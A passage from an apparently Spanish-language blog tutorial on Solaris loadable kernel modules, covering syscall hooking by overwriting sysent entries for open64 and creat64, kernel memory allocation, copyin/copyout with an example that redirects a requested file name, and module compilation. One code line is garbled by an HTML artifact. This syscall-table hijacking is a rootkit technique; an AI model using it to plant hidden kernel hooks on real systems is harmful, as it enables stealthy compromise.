<p>De esta manera, cada vez que el sistema pida la ejecución de esa syscall, se ejecutará la función que nosotros hemos introducido y no la syscall original. Esto suele emplearse para realizar determinados controles sobre la petición y posteriormente llamar a la función que originariamente realizaba la solicitud de esa syscall para que haga su trabajo normalmente. De forma gráfica el proceso sería tal y como lo muestra la siguiente figura:</p>
<p><a href="http://txipi.wordpress.com/files/2007/12/solaris01.gif" title="solaris01.gif"><img src="http://txipi.wordpress.com/files/2007/12/solaris01.gif" alt="solaris01.gif" /></a></p>
<h4>Proceso de suplantación de una llamada al sistema.</h4>
<p>Analicemos ahora mediante un ejemplo en código cómo se programarían todos estos pasos. De todo lo que hemos comentado hasta ahora se deduce que el lugar idóneo para realizar la suplantación de las peticiones al sistema es en la función _init(), nada más cargarse nuestro módulo, para intentar perder el menor tiempo posible y controlar la situación desde el principio.</p>
<pre>int (*oldopen64) (const char *path, int oflag, mode_t mode);
int (*oldcreat64) (const char *path, mode_t mode); 

[...] 

int newopen64(const char *path, int oflag, mode_t mode)
{
 [...]
}

int newcreat64(const char *path, mode_t mode)
{
 [...]
}

int _init(void)
{
	int i; 

	if <img src="http://blog.txipinet.com/index.php/2006/11/17/i%20=%20mod_install%28&#38;modlinkage" /> != 0)
		cmn_err(CE_NOTE,"Could not install module\n"); 

	oldopen64 = (void *) sysent[SYS_open64].sy_callc;
	oldcreat64 = (void *) sysent[SYS_creat64].sy_callc; 

	sysent[SYS_open64].sy_callc = (void *) newopen64;
	sysent[SYS_creat64].sy_callc = (void *) newcreat64; 

	return i;
}</pre>
<p>En este ejemplo el módulo suplanta las syscalls open64() y creat64() de la forma explicada: primeramente guardamos en las funciones oldopen64 y oldcreat64 las funciones que dan servicio a estas syscalls originariamente, para suplantarlas con nuestras nuevas funciones (newopen64 y newcreat64) posteriormente en la tabla de syscalls (sysent).</p>
<h4>Áreas de memoria, cómo disponer de memoria en el kernel</h4>
<p>Como ya hemos comentado previamente, el espacio de memoria reservado para el kernel está separado del espacio de memoria reservado para los programas de usuario (incluidos los que se ejecutan como superusuario o root). Es por esto que debemos hilar muy fino y no errar al tratar de utilizar contenidos del espacio de memoria de usuario en el kernel y viceversa. Las funciones para reservar memoria también son diferentes dentro del área de memoria del kernel. En lugar de hacer uso de las típicas alloc() o malloc(), dentro del kernel de Solaris deberemos utilizar kmem_alloc():</p>
<pre>cadena = (char *) kmem_alloc(tam, KM_SLEEP);</pre>
<p>El funcionamiento es muy similar a su función homónima dentro del área de memoria de usuario, con la salvedad del segundo parámetro. Si utilizamos kmem_alloc() con KM_SLEEP como segundo parámetro, estaremos indicando que podemos esperar hasta que realmente haya un bloque de memoria tan grande como el que hayamos pedido. Este es el método más seguro y asegura un éxito en la reserva de memoria a costa de un eventual retardo. Si no queremos esperar, nos arriesgamos a que no se encuentre un bloque tan grande como el que hemos solicitado y algo pueda fallar, sin embargo el retardo es mínimo. En este caso deberemos llamar a kmem_alloc() con el parámetro KM_NOSLEEP. Para el desarrollo de nuestros módulos es aconsejable utilizar KM_SLEEP y asegurar la estabilidad del sistema. En cuanto a la naturaleza del bloque de memoria proporcionado por kmem_alloc() podremos decir que el bloque está alineado como mínimo como double-word y su contenido es aleatorio o no inicializado.</p>
<p>Toda la memoria solicitada deberá ser liberada tras su uso. Como podemos imaginar, las consecuencias de un olvido involuntario serán mucho más graves dentro del kernel. Para liberar memoria utilizaremos la función kmem_free(), indicando el tamaño de bloque que queremos liberar. Hemos de tener mucho cuidado de no liberar más memoria que la que hemos solicitado o de lo contrario estaremos borrando partes esenciales del kernel que pueden afectar a la estabilidad de todo el sistema.</p>
<p>Bien, sabemos cómo reservar memoria dentro del kernel y cómo hacerlo en el espacio de memoria de usuario, pero... ¿cómo podemos hacer transferencias de un espacio de memoria al otro? Algunos módulos del kernel, pobremente programados, utilizan directamente memcpy() para copiar memoria del espacio de memoria de usuario al kernel. Esto funcionaba de manera más o menos aceptable en arquitecturas Solaris 2.7 sobre Intel, pero en Solaris para SPARC provocaba la caída total del sistema. Para realizar una transferencia de información entre los dos espacios de memoria de manera correcta es necesario utilizar las funciones copyin() y copyout(), documentadas dentro de la Interfaz de Drivers de Dispositivos (DDI/DKI).</p>
<p>Un ejemplo práctico del uso de todo esto podría ser el siguiente:</p>
<pre>name = (char *) kmem_alloc(256, KM_SLEEP);
copyin(filename, name, 256);
if (!strcmp(name, (char *) oldcmd))
  copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1);</pre>
<p>Queremos comparar el nombre del fichero solicitado (filename) desde el área de memoria de usuario con una cadena de caracteres residente en el área de memoria del kernel (oldcmd) y en caso de que sean iguales, copiar el contenido de newcmd (dentro del kernel) al área de memoria de usuario (filename).</p>
<p>Existen además otras funciones para transferir datos entre las dos áreas de memoria como por ejemplo copyinstr() que nos sirve para copiar cadenas de caracteres acabadas en null. Para más información acerca de este tipo de funciones y su manejo, es preciso consultar la documentación de Solaris para la creación de drivers para dispositivos o en las páginas de manual de alloc(), copyin() y copyout().</p>
<h3>Compilación y uso de un LKM</h3>
<p>La compilación de un LKM en Solaris es bastante sencilla, únicamente deberemos definir una serie de opciones de compilación (-D_KERNEL -DSVR4 -DSOL2) indicando que se trata de un módulo de kernel y no de un ejecutable estándar. Además, es preciso enlazar o linkar nuestros módulos con la opción –r para que puedan ser cargados dentro del kernel, de lo contrario en linker del kernel no podrá enlazarlos:</p>
<pre>bash-2.03# cc -g -D_KERNEL -DSVR4 -DSOL2 -O2 -c quark.c
bash-2.03# ld –o quark -r quark.o</pre>
<p>Dado que el kernel de Solaris no provee a los programadores de módulos tantas facilidades como pueda ofrecer el kernel de Linux u otros kernels (el número de funciones que disponemos “dentro del kernel” en Solaris es muy limitado comparado con Linux), es posible que sea necesario utilizar funciones C standard (libC) que no están en el kernel de Solaris. Para ello utilizaremos el comando ar con objeto de extraer las funciones que necesitemos de la librería libC y posteriormente las linkaremos con nuestro módulo:</p>
<pre>bash-2.03# ar –x /lib/libc.a memcpy.o strstr.o
bash-2.03# ld –o quark -r quark.o memcpy.o strstr.o</pre>
]]></content:encoded>
</item>

</channel>
</rss>
